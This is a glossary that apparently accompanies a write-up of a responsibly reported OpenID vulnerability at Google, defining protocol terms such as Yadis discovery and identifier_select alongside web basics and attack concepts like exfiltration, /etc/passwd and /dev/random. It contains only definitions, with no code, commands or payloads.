- OpenID Provider (OP): the website that issues the login confirmation; here, Google, and in the attack the researcher's own server.
- Yadis discovery: the lookup an RP performs to check that an OP really is who it claims to be, by making a web request to the OP's address.
- Claimed Identifier: the identity a user claims to have in OpenID, which the RP may need to look up.
identifier_select: a special OpenID value meaning "let the provider choose which identity to use", which causes the RP to look up the identity named in the response.- Bounty: a reward a company pays to someone who reports a security problem responsibly.
- Proof of concept (PoC): working code or steps that demonstrate a bug really can be exploited.
- URL: the address of a page or resource on the web, as typed into a browser's address bar.
- Parameter: a name and value pair after the question mark in a URL that tells the page what you want.
- Percent-encoding: writing characters such as
:and/inside a URL as codes like%3Aand%2Fso they are not confused with the URL's own punctuation. - HTTP: the language browsers and servers use to exchange pages and data.
- Port 80: the standard network door for unencrypted HTTP.
- Header: a small label that travels with a web request or response, such as
HostorUser-Agent. - User-Agent: a header that says which browser or program is making the request.
- Cookie: a small piece of data a server gives a browser to send back on later visits, so the server can remember who you are.
- Shell: a text window where you type commands for the computer to run.
curl: a command-line program for fetching web pages and showing the request and response./etc/passwd: a plain text file on Linux systems listing user accounts, one per line, with fields separated by colons./dev/random: a special file on Linux systems that produces random data and can make the reader wait when it runs out of randomness.- Request killer: a safety mechanism that cuts off web requests that take too long.
- Exfiltration: getting data out of a system through a channel the system itself provides, such as an error message.
- Proxy: an intermediary that sits between a server and the outside world and filters traffic.
- Drupal: a popular system for building websites.
- Implementation: a particular piece of software that follows a given set of rules, such as the OpenID rules.
- App Engine and Blogger: Google services that were found vulnerable to the denial of service variant.
- GMT: Greenwich Mean Time, the time zone used for the timeline.